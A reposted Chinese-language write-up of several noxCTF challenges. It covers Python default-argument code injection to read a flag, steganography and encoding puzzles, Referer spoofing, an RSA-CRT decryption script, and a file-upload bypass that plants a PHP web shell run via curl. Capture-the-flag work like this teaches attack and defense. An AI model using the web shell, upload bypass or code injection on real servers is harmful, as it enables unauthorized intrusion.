noxCTF部分writeup(欢迎吐槽QAQ)
前言
本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html
渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)
补一下关于noxCTF
中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点一下(thx)
一:Python for fun
欢迎来到noxale
的在线python
课程!!! 您可以在有限的时间内免费试用它并在python 3
中学习基本编程:http://chal.noxale.com:8000/
该网站有三个不同的页面用于教python 3
.页面是'修复代码','匹配签名到正文','代码返回'。我们感兴趣的是'match signature to body'
类,因为它允许我们设置python 3
函数的参数并解释它。
我们来看看它是否容易受到攻击。
def fun(a,b,c=print('7' * 7)): c = a + b return c print(fun(10, 12) == 22) 7777777 True
如您所见,它执行了我们的代码并打印了7777777
。
让我们尝试列出工作目录下的文件
def fun(a,b,c=print(__import__('os').listdir())): c = a + b return c print(fun(10, 12) == 22) ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates'] True
只需要使用一个flag
就可以得到答案:
def fun(a,b,c=print(open('FLAG','r').read())): c = a + b return c print(fun(10, 12) == 22) noxCTF{py7h0n_15_4w350m3} True
二:Read Between The Lines
下载文件后,感觉该文件是一个gzip
压缩存档。
使用linux
命令:
$ file message.code
message.code:gzip
压缩数据,是“消息”
$ mv message.code message.code.gz
$ gzip -d message.code
查看文件的内容,我看到一些代码,我认为这些代码是常见的JavaScript
代码
所以,让我们尝试在浏览器中运行代码,看看会发生什么。
出现错误,只能慢慢查找资料(QAQ) CTF中那些脑洞大开的编码和加密
在这个强大的资料库里面就可以找到解码的网址:https://vii5ard.github.io/whitespace/
把需要解密的密文放入并单击“运行”按钮,就会得到答案:
三:Blind Date
通过检查文件的数据,xxd我们注意到字节是乱码的
在看了JPEG
文件交换格式后,我们可以快速查看字节是如何被加扰的。 https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure
该文件应以字节开头,FF D8 FF E0
然后是一个2字节的值,用于保存段长度。接下来是JFIF
标识符4A 46 49 46 00
。
我们注意到它们只占用了4个字节的块并将它们反转。
f = open('BlindDate.jpeg',“rb”) s = f.read() f.close() data = '' for i in range(0,len(s),4): data + = s [i:i + 4 ] [:: -1 ] nf = open('blind.jpeg','wb') nf.write(data)
此脚本将还原的映像写入blind.jpeg
。
字符串显示图像末尾有一些数据:
一个base64
字符串Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK
,它解码为:
.. .. .. .. .. .. .. 。。。。。。。。 .. .. .. 。
文字是盲文翻译之后就会得到:F4C3P4LM
。
接下来,我们使用binwalk
提取blind.jpeg
中的zip
文件。
打开zip
文件发现需要密码 而我们已经得到盲文翻译后的答案,尝试一下可不可以解密 就会得到一个flag.txt
文件
此文件包含brainfuck
代码并运行它打印最终标志。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.
放进解密工具:Brainfuck
解密之后就会得到答案:
最后得到答案:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}
四:Reference
我们使用此URI
启动挑战:
打开这个页面,我们得到一个简单的网站,只包含明文“你来自哪个****?”。
通过HTML文档挖掘,我们发现了一个脚本标记链接 /js/index.js
在原始检查时,它是一个ajax
函数,它根据对url的请求返回成功并可能标记或失败/check_from_google
。
从挑战标题和url
名称推断,/check_from_google
我们必须将请求标头中的HTTP Referer
字段设置为 url /check_from_google
。
启动burp
就可以,捕获请求并添加带有www.google.com
值的referer
字段。
我们使用以下有效负载返回HTTP 200 OK
bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9
使用base64即可进行解密:
noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}
五:Chop Suey
题目描述:
Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
因此,如果您已经学习了中国剩余定理,那么您肯定会知道这种RSA
优化技术。
它指出:
dp = d (mod p-1) dq = d (mod q-1)
使用这种方法比使用欧几里得中关于RSA
的算法更快,如果没有p
和q
,你将需要计算更多,而现在只需要看一下维基百科中的关于RSA算
法使用中国剩余定理即可
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
由于他们已经为我们提供了p
和q
值!我们可以轻松地重新计算qinv
构建qinv
qinv = modinv(q, p) m2 = pow(c, dq, q) m1 = pow(c, dp, p) h = (qinv * (m1 - m2)) % p m = m2 + h * q
完整脚本:
from gmpy2 import * p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q=12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp=6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq=783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c=24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852 def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m qinv = modinv(q, p) m2 = pow(c, dq, q) m1 = pow(c, dp, p) h = (qinv * (m1 - m2)) % p m = m2 + h * q print(m) txt = hex(m)[2:] print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[0::2],txt[1::2])])
六:MyFileUploader
首先使用第一种,比较常见的方式:
由于该网站允许我们上传文件。让我们创建一个php shell
文件,但将其保存为dummy.txt
dummy.txt <?php system($_GET['cmd']); ?>
然后,尝试上传它
由提示可以看出,这个上传的文件它希望文件名包含.png / .jpg / .gif
。让我们将dummy.txt
文件重命名为dummy.png.txt
并尝试再次上传
File: dummy.png.txt Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>
接下来我们看一下上传之后的网址:
$ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt' <?php system($_GET['cmd']); ?>
这个就表示我们已成功上传。我们试着查看/ uploads /
下的内容
我们可以看到这里面有一个名为“Don't open/
”的目录。让我们看看里面是什么
Options +Indexes AddType application/x-httpd-php .cyb3r
从这里可以看出服务器使用PHP
运行扩展名为.cyb3r
的文件。
因此我们需要将文件重命名为rce.png.cyb3r
并重新上传,就会得到:
我们可以由提示看出,我们成功上传了我们的shell
文件。我们先来测试!!!
首先:看一下 http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami
然后:http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd
接下来使用ls
命令就可以得到想要的答案:
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls" 1.jpg 1.jpg%00php 1.php%00jpg 1.php.jpg 1jpg 2.php%00jpg 2.php.jpg 2.php;.jpg 7H3-FL4G-1S-H3r3 Don't open dummy.png.txt exec.png.cyb3r gif.phpjpg gifjpg rce.png.cyb3r shell.png.cyb3r shell.png.phtml uploadTest.txt $ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3" 7H3-FL4G-1S-H3r3: directory $ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3" noxCTF{N3V3R_7RU57_07H3R5}
最后得到答案:noxCTF{N3V3R_7RU57_07H3R5}
第二种方法:
打开链接:http://chal.noxale.com:8079
让我们尝试上传这个非常可爱的zzkjRTe.jpg
图片:
正如我们所看到的,它还为我们提供了在服务器上找到此图片的路径:http://chal.noxale.com:8079/uploads/kittens.jpg
在探索这条路径之前,让我们尝试上传一个非常简单的webshell
名为shell.php
。它实际上是Arrexel的剧本。
在我尝试了不同的东西之后,我理解我只需要放置.png,.jpg
或者.gif
在文件名中的任何位置。因此服务器仍将evilshell.jpg.php
作为有效输
入,但.php
如果存在于文件名的末尾,它将自动擦除。那是一个问题。
然后我去探索路径/uploads
,我找到了一个名为Do not open
的目录。你猜怎么了?我打开它。
里面有着一个名为:.htaccess
文件,内容对我们还是有很大的帮助:
Options +Indexes AddType application/x-httpd-php .cyb3r
这意味着任何以自制扩展名结尾的文件.cyb3r
都将由服务器作为php
代码处理。
接下来就变得简单了许多
让我们把我们的phpbash shell
重命名为shell.png.cyb3r
,然后上传它。
成功了!现在的时刻......让我们导航到我们的上传路径......
是的!得到了一个webshell
,
现在让我们列出这个名为7H3-FL4G-1S-H3r3
文件夹里面的内容:
最后答案:noxCTF{N3V3R_7RU57_07H3R5}
参考资料:
phpbash:https://github.com/Arrexel/phpbash
CTF中RSA的常见攻击方法 : https://www.anquanke.com/post/id/84632
CTF中那些脑洞大开的编码和加密: https://www.tuicool.com/articles/2E3INnm
RSA之中国剩余定理: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
Brainfuck/Ook! Obfuscation/Encoding: https://www.splitbrain.org/services/ook

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
AMD与CMD与Common.js
先从commomJS说起,因为在网页端没有模块化编程知识网页jsvascript逻辑复杂度也可以工作下去,但是在服务器端一定要有模块化,所虽然javascript在web端发展这么多年,第一个流行的模块化规范却由服务端的javascript应用带来,commonjs规范是由NodeJs发扬光大,这标志着javascript模块化编程正式登上舞台。 一、commonJS commonJS就是为JS的表现制定规范,因为js没有模块化的功能,所以commonjs应运而生,它希望js可以在任何地方运行,不只是在浏览器中。 commonjs能有一定的影响力,绝对离不开node的人气 CommonJS定义的模块分为:{模块引用(require)} {模块定义(exports)} {模块标识(module)} 1、定义模块 根据commonjs规范,一个单独的文件就是一个模块。每一个模块都是一个单独的作用域,也就是说,在该模块内部定义的变量,无法被其他模块读取,除非定义为global对象的属性。 2、输出模块 模块只有一个出口,module.exports对象,我们需要把模块希望输出的内容放入该对象...
- 下一篇
JavaScript 数组
创建和初始化数组 let arr1 = new Array();//创建了一个空数组 let arr2 = new Array(5);//创建了一个长度为5,每项都为空的数组 let arr3 = new Array(1,2,3);//创建数组[1,2,3] let arr = [];//创建了空数组 等同于arr1 let arrs = [1,2,3];//等同于arr3 数组的属性 let arrLen = arr.length;//0 返回arr数组的长度 添加数组元素 arr[arrLen] = 1;//[1] 在数组最后一个空位赋值即可 arr.push(2,4,5);//[1,2,4,5] push 在数组后面按照括号里的顺序插入值 可以push任意个元素 let aLen = arr.unshift(10);//[10,1,2,4,5] unshift 在数组头部插入元素 可以unshift任意个元素 并且返回新的数组长度 删除输入元素 let a0 = arr.shift();//[1,2,4,5] 删除数组第一个元素,并且返回被删除的元素 let a4 = arr.p...
相关文章
文章评论
共有0条评论来说两句吧...